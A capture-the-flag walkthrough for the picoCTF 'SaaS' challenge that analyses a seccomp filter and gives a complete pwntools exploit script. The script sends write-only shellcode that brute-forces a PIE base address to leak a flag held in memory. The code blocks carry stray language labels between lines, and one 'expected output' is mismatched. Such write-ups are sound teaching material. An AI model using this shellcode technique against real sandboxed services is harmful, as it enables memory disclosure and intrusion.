Skip to main content

SaaS picoMini by redpwn Solution

Craft shellcode for a service that accepts and runs your code under a strict system call filter.

Published: April 2, 2026Updated: August 31, 2026

Description

Shellcode as a Service.

Connect to the challenge server with netcat.
Download the binary to analyze the seccomp filter locally.
bash
nc <challenge_host> <PORT_FROM_INSTANCE>
bash
wget <challenge_url>/saas  # binary for local analysis

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Analyze the seccomp filter with seccomp-tools
    Observation
    The description offers shellcode as a service, so the server runs your payload inside a sandbox. Before writing anything, find out which syscalls the BPF filter allows and which it kills.
    Install seccomp-tools and dump the BPF filter from the binary. This reveals exactly which syscalls are allowed, which are blocked, and what action is taken on a violation (KILL, TRAP, or ERRNO).
    bash
    gem install seccomp-tools
    bash
    seccomp-tools dump ./saas
    bash
    # Or disassemble the filter from binary directly:
    bash
    seccomp-tools disasm filter.bpf   # raw BPF bytes dumped to a file

    Expected output

    picoCTF{f0ll0w_th3_m4p_t0_g3t_th3_...}
    What didn't work first

    Tried: Running strace on the binary instead of seccomp-tools to see which syscalls are used

    strace shows the syscalls the binary makes, not the filter rules it installs. The filter only activates once setup calls prctl, so what you see are pre-filter calls from the flag-loading routine, which makes open and read look available when they are not. seccomp-tools runs the binary and extracts the BPF bytecode the kernel actually enforces.

    Tried: Using objdump or strings on the binary to find the filter rules instead of seccomp-tools

    The filter is compiled to bytecode at build time and stored as a raw byte array. strings and objdump show those bytes and nothing about what they mean, which without a BPF disassembler is unreadable. seccomp-tools translates each instruction into a readable conditional, which is what tells you what shellcode can survive.

    Learn more

    seccomp (Secure Computing Mode) is a Linux kernel mechanism that restricts which syscalls a process can make. In filter mode, the process installs a BPF (Berkeley Packet Filter) program that the kernel runs against every syscall. The BPF program can allow, deny, or kill the process based on the syscall number and arguments.

    seccomp-tools disassembles these BPF programs into human-readable output like A = sys_number; if A == write: ALLOW; else: KILL. This is essential before writing shellcode - you need to know which syscalls are permitted. For this challenge the filter is unusually tight: only write to fd 1, exit, and exit_group are allowed. open, read, and execve are all killed.

  2. Step 2Write write-only memory-scanner shellcode
    Observation
    seccomp-tools shows open and read killed outright, with write to stdout and exit still allowed. So the flag has to be in memory before the filter installs, and scanning with write is the only way out.
    Because open and read are both blocked, ORW shellcode is killed the moment it hits the open syscall. The correct approach exploits the fact that load_flag() pre-loads the flag into a 64-byte global buffer before setup() installs the seccomp filter. Your shellcode never needs to touch the filesystem: write a loop that calls sys_write(1, candidate_addr, 64) for increasing candidate addresses. When the address lands in the mapped data segment the write succeeds and you see the flag scroll past. Since PIE randomizes the base, brute-force the high-order address byte starting from a plausible range (e.g. 0x5500_0000_2060) and step by 0x10_0000 each iteration.
    bash
    # exploit.py
    python
    from pwn import *
    bash
    context.arch = 'amd64'
    python
    def make_shellcode(addr):
    bash
        return asm(f'''
    bash
            /* write(1, {addr:#x}, 64) */
    bash
            mov rsi, {addr:#x}
    bash
            mov edi, 1
    bash
            mov edx, 64
    bash
            mov eax, 1
    bash
            syscall
    bash
            /* exit(0) */
    bash
            xor edi, edi
    bash
            mov eax, 60
    bash
            syscall
    bash
        ''')
    bash
    base = 0x550000000000
    bash
    flag_offset = 0x2060   # typical PIE .bss offset for flag global
    bash
    step = 0x100000
    bash
    for i in range(0x100):
    bash
        candidate = (base + i * step) | flag_offset
    bash
        p = remote('<host>', <PORT_FROM_INSTANCE>)
    bash
        sc = make_shellcode(candidate)
    bash
        p.send(sc)
    bash
        try:
    bash
            data = p.recvall(timeout=1)
    bash
            if b'picoCTF' in data:
    python
                print(data)
    bash
                break
    bash
        except:
    bash
            pass
    bash
        p.close()
    What didn't work first

    Tried: Writing classic ORW (open-read-write) shellcode to open /flag and read its contents

    The filter kills the process the moment an open syscall is reached, with the kernel sending the signal before the instruction returns, so nothing after it runs. There is no allow entry for open or read at all. The flag comes out through write alone, because the loading routine already put those bytes in memory before the filter went up.

    Tried: Hardcoding a fixed flag address like 0x555555558060 derived from running the binary locally in GDB

    PIE randomizes the load base each run, so an address from a GDB session is valid only for that invocation, and the remote base shifts again on every connection. Brute-force the high-order bytes across many connections rather than trusting a single address.

    Learn more

    The binary calls load_flag() to read /flag into a char flag[64] global, then calls setup() which installs the seccomp BPF filter and only then mmap-executes your shellcode. By the time your code runs, the flag bytes are already live in the process image - no file I/O is needed or possible.

    Why ORW fails here: the seccomp filter's action on open (syscall 2) and read (syscall 0) is KILL. The kernel terminates the process at the first disallowed syscall, so a classic open-read-write chain never reaches the read step.

    Why the write loop works: write to fd 1 and exit/exit_group are the only allowed syscalls. Passing an unmapped address to write makes the syscall return -EFAULT and produces no output, but a valid mapped address succeeds and the bytes come back over the socket. You iterate candidate addresses until one returns data containing picoCTF.

    PIE randomizes the base address but the entropy is limited (typically 28 bits on 64-bit Linux with ASLR level 2). The flag global sits at a fixed offset from the PIE base (visible in objdump -t saas | grep flag), so you only need to brute-force the base itself.

  3. Step 3Run the exploit and capture the flag
    Observation
    With the shellcode and the loop written, PIE entropy is low enough that iterating candidate base addresses across fresh connections lands on the right mapping within a few hundred tries.
    Run the exploit script. Each iteration probes a different candidate base address with a single sys_write call. When the candidate falls inside the binary's mapped data segment, the flag bytes are written back to stdout and you capture them.
    python
    python3 exploit.py
    bash
    # When the correct address is hit, output resembles:
    bash
    # picoCTF{f0ll0w_th3_m4p_t0_g3t_th3_...}\x00\x00...
    Learn more

    The challenge name SaaS (Shellcode as a Service) mirrors cloud service acronyms (SaaS, PaaS, IaaS). The server is literally a shellcode execution service - it reads bytes, maps them RWX, and jumps to them. The seccomp filter is the only defense.

    Because each probe attempt crashes or closes the connection, you need a fresh TCP connection per iteration. pwntools' remote() handles reconnection cleanly. Expect to iterate up to a few hundred times before the address space aligns; in practice the flag usually appears within the first 50 to 100 attempts.

Interactive tools
  • Pwntools ForgeGenerate a complete pwntools exploit script from a template: ret2win, shellcode, ret2libc, ROP chain, format string, or blank scaffold. Fill the form, copy or download the .py file. Fully editable before saving.

Flag

Reveal flag

picoCTF{f0ll0w_th3_m4p_t0_g3t_th3_...}

The seccomp filter allows only write(fd=1) and exit - open and read are blocked. The flag is pre-loaded into a global buffer before seccomp is installed, so the real exploit is a write-only memory scanner that brute-forces the PIE base address and calls sys_write(1, flag_addr, 64) until it hits the correct mapping. The flag is shown abbreviated on this page; work the steps above to recover the full value.

Key takeaway

A seccomp filter confines shellcode to an explicit allowlist, so getting past it means working entirely inside what it permits. With write as the only output syscall, an attacker scans process memory by probing addresses and watching which return bytes, turning a defensive allowlist into an exfiltration primitive. The same thinking applies to Docker, Chrome, and Firefox sandboxes, where a permitted syscall usually offers more than its designer intended.

Related reading

Useful tools for Binary Exploitation

Where to go next